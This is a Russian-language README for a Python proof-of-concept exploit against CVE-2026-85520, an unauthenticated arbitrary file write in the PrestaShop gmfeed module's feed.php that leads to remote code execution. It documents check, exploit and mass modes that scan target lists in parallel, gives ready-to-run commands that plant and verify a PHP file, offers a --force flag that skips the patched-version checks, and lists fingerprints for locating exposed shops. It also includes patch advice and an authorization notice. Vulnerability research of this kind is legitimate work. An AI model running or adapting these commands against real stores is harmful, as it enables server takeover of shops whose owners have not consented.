
Python PoC для CVE-2026-85520: обнаруживает и эксплуатирует неаутентифицированную произвольную запись файлов в PrestaShop gmfeed feed.php для достижения RCE, с массовым сканированием.
Python 3 PoC для CVE-2026-85520 — модуль Google Merchant Center Feed (gmfeed) от MyPresta.eu / VEKIA для PrestaShop — неаутентифицированная произвольная запись файлов в feed.php при использовании «Save to file» / экспорта по URL. CVSS 3.1 9.3 Critical (Software).
| PoCbit | https://pocbit.org/pocs/cve-2026-85520 |
| Каталог | https://pocbit.org/pocs/ |
| Модуль | gmfeed (Google Merchant Center Feed) |
| Исправление от вендора | ≥ 2.3.10 (рекомендуется установить 2.4.1+) |
| CWE | Проблемы класса CWE-20 / CWE-73 / CWE-434 (отсутствие аутентификации + контроль пути/содержимого при записи) |
gmfeed — это коммерческий модуль, который создаёт XML/CSV каталог товаров для Google Merchant Center в магазинах PrestaShop. В старых версиях, когда каталог создавался по URL и сохранялся на диск (Save to file / cron), конечная точка modules/gmfeed/feed.php могла без аутентификации принимать имя выходного файла, путь, расширение и содержимое через произвольные параметры.
С помощью специально сформированного GET/POST-запроса злоумышленник может записать произвольный файл на сервере (например, pocbit_xxxxx.php), а затем выполнить его через веб, получив удалённое выполнение кода (RCE). Это означает полный захват сервера интернет-магазина — тестируйте только в среде авторизованного пентеста / собственного лабораторного магазина.
Согласно объявлению вендора (MyPresta.eu): уязвимы версии до 2.3.10; исправление добавляет уникальный для магазина ключ к URL-адресам save-to-file и закрывает несанкционированную запись. Просто перезаписать старый zip недостаточно — модуль нужно удалить через «delete module files» и чисто установить 2.4.1.
CVE-2026-85520 затрагивает модуль PrestaShop gmfeed (Google Merchant Center Feed от MyPresta.eu). Скрипт экспорта feed.php, когда режим сохранения на диск доступен через URL (exportsavefile=1 и связанные параметры экспорта, описанные в журналах изменений вендора), не обеспечивал:
modules/gmfeed/ или через последовательности обхода каталогов.Воздействие: неаутентифицированная произвольная запись файлов → RCE (выполнение загруженного .php через HTTP).
Публичные параметры вендора, упомянутые в примечаниях к выпуску, включают export_file_format, exportsavefile и пользовательские опции имени файла экспорта, добавленные в линейке 2.3.x. Данный PoC перебирает распространённые псевдонимы параметров (exportfilename, exportfilecontent, export_path и т. д.) для:
/modules/gmfeed/feed.php/index.php?fc=module&module=gmfeed&controller=feed| Режим | Поведение |
|---|---|
| check | Обнаружение gmfeed (feed.php, config.xml, маркеры), разбор версии модуля, отметка < 2.3.10 |
| check --aggressive | Лёгкая проверка сохранения в файл (без постоянного шелла; exportsavefile=0 в пути проверки) |
| exploit | Запись пробы pocbit_*.php с маркером POCBIT-85520-OK, проверка через ?pocbit=1 |
| exploit --dry-run | Только экспорт запросов пробы (без размещения шелла) |
| mass | --list + -j → hits.txt / exploited.txt + JSONL |
--lab | Локальный макет feed.php — должен показать exploited: true (проверка работоспособности) |
--force | Пропуск проверок «модуль отсутствует / версия исправлена» |
Поля JSONL: pocbit, pocbit_catalog, pocbit_page, cve, vendor, module, product.
Безопасность: По умолчанию полезная нагрузка — это PHP-заглушка только с маркером, а не полноценный интерактивный шелл. Удаляйте записанные файлы после авторизованных тестов.
pip install requests urllib3cd CVE-2026-85520
python poc.py --lab
Ожидается: зелёный [LAB], JSON "exploited": true, "shell_url": "http://127.0.0.1:8766/modules/gmfeed/pocbit_....php".
python poc.py -u https://shop.example.com --mode check
python poc.py -u https://shop.example.com --mode check --aggressive
python poc.py -u https://shop.example.com --mode exploit --dry-run
python poc.py -u https://shop.example.com --mode exploit
python poc.py -u https://shop.example.com --mode exploit --force
Проверьте вручную после эксплуатации:
https://shop.example.com/modules/gmfeed/pocbit_XXXXXXXX.php?pocbit=1
→ POCBIT-85520-OK
python poc.py --list prestashop_targets.txt --mode check -j 40
python poc.py --list hits.txt --mode exploit -j 20
python poc.py --list hits.txt --mode exploit -j 20 --dry-run
Выходные файлы:
| Файл | Содержимое |
|---|---|
cve_2026_85520_results.jsonl | Все строки проверок |
cve_2026_85520_exploit.jsonl | Все строки эксплойтов |
hits.txt | Табуляция: URL, статус, версия |
exploited.txt | Табуляция: URL, shell_url, версия |
Наличие модуля:
body="/modules/gmfeed/" || body="gmfeed" || header="/modules/gmfeed/feed.php"
Версия (если отображается):
/modules/gmfeed/config.xml
Статические артефакты фидов (не являются сами по себе доказательством уязвимости):
/modules/gmfeed/products.xml
/modules/gmfeed/combinations.xml
Примечание: Многие магазины используют ≥ 2.3.10 после рекомендации MyPresta 2026 года — ожидайте patched_version или write_or_verify_failed в интернет-списках.
feed.php).modules/gmfeed/ на наличие неожиданных файлов .php.Ссылка: Объявление об исправлении безопасности MyPresta.
{
"pocbit": "https://pocbit.org",
"pocbit_catalog": "https://pocbit.org/pocs/",
"pocbit_page": "https://pocbit.org/pocs/cve-2026-85520",
"cve": "CVE-2026-85520"
}
Используйте только в отношении систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Несанкционированный доступ незаконен. PoCbit предоставляет инструменты для проверки концепций (proof-of-concept) в целях защитной валидации и проверки исправлений.
CVE-2026-85520 PoC (PoCbit) — PrestaShop MyPresta gmfeed ≤2.3.9 unauthenticated arbitrary file write via feed.php (Save to file URL) → RCE. check + exploit + mass bulk (--list -j). https://pocbit.org/pocs/cve-2026-85520